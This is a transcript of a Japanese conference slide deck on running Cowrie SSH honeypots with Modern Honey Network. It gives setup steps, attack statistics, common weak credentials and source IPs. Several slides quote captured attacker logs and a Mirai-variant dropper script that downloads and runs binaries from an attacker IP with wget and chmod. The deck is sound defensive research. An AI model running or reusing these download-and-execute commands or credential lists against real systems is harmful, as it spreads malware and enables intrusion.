Upgrade to Pro — share decks privately, control downloads, hide ads and more …

あなたは、ハニーポットがお好きですか?!

 あなたは、ハニーポットがお好きですか?!

総関西サイバーセキュリティLT大会(第4回)
https://sec-kansai.connpass.com/event/59800/

blackle0pard

August 09, 2017
Tweet

More Decks by blackle0pard

Other Decks in Technology

Transcript

  1. インストール先を選ぶ(DigitalOceanの場合) ▪ チュートリアルにハニーポットのインストール手順が記載されている – How To Set Up an Artillery

    Honeypot on an Ubuntu VPS https://www.digitalocean.com/community/tutorials/how-to-set-up- an-artillery-honeypot-on-an-ubuntu-vps ▪ 2017/6/21にWEBから問い合わせしました – 『セキュアにハニーポットを運用している限りは問題ないけど、十分気をつけろ』(意訳) 13
  2. ハニーポットを選ぶ ▪ 探してみると種類が多い – (例) SSHのハニーポット Kojoney, Kojoney2, Kippo, Cowrie,

    sshlowpot, sshhipot など – GitHub - paralax/awesome-honeypots: an awesome list of honeypot resources https://github.com/paralax/awesome-honeypots – Gran recopilación de honeypots : hackplayers http://www.hackplayers.com/2015/12/gran-recopilacion-de- honeypots.html?m=1 15
  3. 今回、選んだハニーポット ① Cowrie – https://github.com/micheloosterhof/cowrie – SSHのハニーポット – SSH接続時に使用したユーザ名・パスワード、接続元IPを記録する –

    ログイン後に攻撃者が実行したコマンドの記録、ダウンロードしたファイルの隔離 ② Modern Honey Network – https://github.com/threatstream/mhn – ハニーポットの構築やデータ収集を簡単に行うためのツール – Splunk, ELK(Elasticsearch,Logstash,Kibana)と連携できる(インストール用 のスクリプトが用意されている) 16
  4. 全体構成 21 Ubuntu Cowrie Ubuntu Cowrie Ubuntu Cowrie Ubuntu Cowrie

    Ubuntu Modern Honey Network 222 22 22 22 攻撃者 SSHでログインして 悪いことをする 攻撃者の情報を 集める WEBブラウザから 集めた情報を確認する Sensorsサーバー MHNサーバー
  5. ▪ DigitalOceanに日本リージョンがないので、全て海外に設置 ▪ Dropletのサイズは一番安い構成($5/月)を使用 – 512MB/1CPU, 20GB SSD Disk, 10000GB

    Transfer Sensorsサーバーの構成 # Droplet Region Cowrieの待受 SSH ポート OS 1 San Francisco 222 Ubuntu 16.04.3 2 San Francisco 22 Ubuntu 16.04.3 3 London 22 Ubuntu 16.04.3 4 Singapore 22 Ubuntu 16.04.3 22
  6. インストール手順(詳細) ▪ README – mhn/README.md at master · threatstream/mhn ·

    GitHub https://github.com/threatstream/mhn/blob/master/README.md ▪ 詳細な手順は下記のPDFを参照 – Exercise 1: Deploy and Configure Modern Honey Network http://bit.ly/honey-labs ▪ 記載された手順通りにインストールしてもサービスが起動しないとかスクリプ トの実行に失敗するとか色々あるので、GitHubのissuesを見よう 25
  7. トラブルシューティング① ▪ MHNをインストール後、 hpfeeds-brokerサービスが停止している – install MHN server eeror #433

    https://github.com/threatstream/mhn/issues/433 – 下記のコマンドを実行する 26 $ sudo /opt/hpfeeds/env/bin/python -m pip install --upgrade pyopenssl $ sudo supervisorctl start hpfeeds-broker
  8. トラブルシューティング② ▪ MHNをインストール後、 mhn-celery-workerサービスが停止している – MHN Troubleshooting Guide https://github.com/threatstream/mhn/wiki/MHN-Troubleshooting- Guide

    – mhn.logのログローテーションが発生すると、同様の対処が必要 27 $ cd /var/log/mhn/ $ sudo chown www-data mhn.log $ sudo supervisorctl start mhn-celery-worker
  9. トラブルシューティング③ ▪ MHNサーバーで発行したCowrieのデプロイ用スクリプトが正常に動作し ない – Cowrie Install Script Broken #406

    https://github.com/threatstream/mhn/issues/406 – deploy.shを下記の内容に修正する https://github.com/SmUrF3R5/mhn/blob/master/scripts/deploy_cow rie.sh – Cowrieの起動・停止手順の変更が、MHNのスクリプトに反映されていない – more changes to start/stop · micheloosterhof/cowrie@5510558 https://github.com/micheloosterhof/cowrie/commit/55105582cba94 899751800d7b54f8f2e19d172cd 28
  10. 攻撃された回数 31 – 収集期間:2017/8/2 - 2017/8/8 (1週間) – 「攻撃された回数 =

    SSHの試行回数」なので、実際にログインされて、何かコマンド が実行された数とは異なる # Droplet Region Cowrieの待受 SSH ポート 攻撃された回数 1 Singapore 22 223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808
  11. 使用されたユーザー名 Top10 32 # ユーザー名 回数 1 admin 876 2

    test 231 3 user 230 4 ubuntu 209 5 pablo 180 6 eric 176 7 postgres 143 8 ftpuser 141 9 deploy 125 10 git 124
  12. 使用されたパスワード TOP10 33 # パスワード 回数 1 123456 261 2

    password 135 2 test 135 3 p@ssw0rd 130 4 admin 129 5 admin123 81 6 12345 75 7 admin1 73 8 root 71 9 user 69
  13. 使用されたユーザー名/パスワードの組み合わせTOP10 34 # ユーザー名/パスワード 回数 1 admin/admin 88 2 admin/password

    66 2 usuario/usuario 64 3 support/support 58 4 user/user 51 5 admin/admin123 47 6 admin/admin1 43 7 ubnt/ubnt 41 8 guest/guest 37 9 admin/12345 35
  14. 攻撃元のIPアドレス TOP10 35 # IPアドレス 国名 回数 1 123.16.32.196 ベトナム

    4011 2 151.80.194.27 フランス 1430 3 192.241.170.15 アメリカ 1060 4 211.140.199.244 中国 955 5 121.10.255.2 中国 916 6 171.234.230.8 ベトナム 871 7 1.53.120.47 ベトナム 770 8 45.55.186.166 アメリカ 769 9 103.89.88.19 ベトナム 469 10 42.112.233.10 ベトナム 464
  15. 36

  16. 攻撃者のログ① 38 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170803-111136-500c9adb48a3-0e.log --2017-08-03 11:11:36--

    http://198.1.188.73:81/ys808e Connecting to 198.1.188.73:81... connected. HTTP request sent, awaiting response... 200 OK Length: 625867 (611K) [text/plain; charset=UTF-8] Saving to: `/root/ys808e' 100%[======================================>] 625,867 93K/s eta 6s 2017-08-03 11:11:36 (93 KB/s) - `/root/ys808e' saved [625867/625867] $ pwd /opt/cowrie/dl $ file 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped San Francisco, London, Singapore で同様のログが確認できた
  17. 攻撃者のログ② 39 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170804-034752-2322a5344798-0e.log --2017-08-04 03:47:52--

    http://46.29.18.99/bins.sh Connecting to 46.29.18.99:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1600 (1K) [application/x-sh] Saving to: `/bins.sh' 100%[======================================>] 1,600 1K/s/s eta 0s 2017-08-04 03:47:53 (1 KB/s) - `/bins.sh' saved [1600/1600] chmod: cannot access tftp1.sh: No such file or directory chmod: cannot access tftp2.sh: No such file or directory Connecting to 46.29.18.99 ftpget: cmd (null) (null) ftpget: cmd USER anonymous ftpget: cmd PASS anonymous ftpget: cmd TYPE I (null) ftpget: cmd PASV (null) ftpget: cmd SIZE ftp1.sh ftpget: cmd RETR ftp1.sh ftpget: cmd (null) (null) ftpget: cmd QUIT (null)
  18. 攻撃者のログ② 40 San Francisco, Singapore で同様のログが確認できた $ pwd /opt/cowrie/dl $

    cat 2e979158d066a4e5324d831c56da95c733e009a5533a787b9a976b065f21c39a #!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ntpd; chmod +x ntpd; ./ntpd; rm -rf ntpd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sshd; chmod +x sshd; ./sshd; rm -rf sshd cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/openssh; chmod +x openssh; ./openssh; rm -rf openssh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/bash; chmod +x bash; ./bash; rm -rf bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/tftp; chmod +x tftp; ./tftp; rm -rf tftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/wget; chmod +x wget; ./wget; rm -rf wget cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/cron; chmod +x cron; ./cron; rm -rf cron cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/ftp; chmod +x ftp; ./ftp; rm -rf ftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/pftp; chmod +x pftp; ./pftp; rm -rf pftp cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/sh; chmod +x sh; ./sh; rm -rf sh cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/[cpu]; chmod +x [cpu]; ./[cpu]; rm -rf [cpu] cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/apache2; chmod +x apache2; ./apache2; rm -rf apache2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://46.29.18.99/telnetd; chmod +x telnetd; ./telnetd; rm -rf telnetd
  19. # Droplet Region Cowrieの待受 SSH ポート 攻撃された回数 1 Singapore 22

    223,551 2 San Francisco 22 6,075 3 London 22 5,182 4 San Francisco 222 0 5 合計 234,808 攻撃された回数 42 • Singaporeが攻撃された回数が一番、多い • San FranciscoとLondonは殆ど同じ(日によって順位が変動している) • SSHのポートをデフォルトの22から222に変更すると、攻撃されなかった
  20. 攻撃者のログ① 43 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170803-111136-500c9adb48a3-0e.log --2017-08-03 11:11:36--

    http://198.1.188.73:81/ys808e Connecting to 198.1.188.73:81... connected. HTTP request sent, awaiting response... 200 OK Length: 625867 (611K) [text/plain; charset=UTF-8] Saving to: `/root/ys808e' 100%[======================================>] 625,867 93K/s eta 6s 2017-08-03 11:11:36 (93 KB/s) - `/root/ys808e' saved [625867/625867] $ pwd /opt/cowrie/dl $ file 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8 02ab39d5ef83ffd09e3774a67b783bfa345505d3cb86694c5b0f0c94980e5ae8: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped • 地域に関係なく同様の攻撃を受けている(San Francisco, London, Singapore ) • virustotal (https://www.virustotal.com/ja/)で確認すると取得 されたファイルはトロイの木馬
  21. 攻撃者のログ② 44 $ pwd /opt/cowrie/log/tty $ /opt/cowrie/bin/playlog 20170804-034752-2322a5344798-0e.log --2017-08-04 03:47:52--

    http://46.29.18.99/bins.sh Connecting to 46.29.18.99:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1600 (1K) [application/x-sh] Saving to: `/bins.sh' 100%[======================================>] 1,600 1K/s/s eta 0s 2017-08-04 03:47:53 (1 KB/s) - `/bins.sh' saved [1600/1600] chmod: cannot access tftp1.sh: No such file or directory chmod: cannot access tftp2.sh: No such file or directory Connecting to 46.29.18.99 ftpget: cmd (null) (null) ftpget: cmd USER anonymous ftpget: cmd PASS anonymous ftpget: cmd TYPE I (null) ftpget: cmd PASV (null) ftpget: cmd SIZE ftp1.sh ftpget: cmd RETR ftp1.sh ftpget: cmd (null) (null) ftpget: cmd QUIT (null) • 地域に関係なく同様の攻撃を受けている(San Francisco, Singapore) • virustotal (https://www.virustotal.com/ja/)で確認すると、取 得されたファイルはMiraiの亜種
  22. 参考にした資料 ▪ GitHub - threatstream/mhn: Modern Honey Network https://github.com/threatstream/mhn ▪

    Deploying, Managing, and Leveraging Honeypots in the Enterprise using Open Source Tools (SlideShare) https://www.slideshare.net/jasontrost/deploying-managing-and- leveraging-honeypots-in-the-enterprise-using-open-source-tools ▪ Lab Exercises: Deploying, Managing, and Leveraging Honeypot s in the Enterprise using Open Source Tools (PDF) http://bit.ly/honey-labs ▪ Catching Flies: A Guide to the Various Flavors of Honeypots - catching-flies-guide-flavors-honeypots-36897 https://www.sans.org/reading-room/whitepapers/attacking/catching- flies-guide-flavors-honeypots-36897 48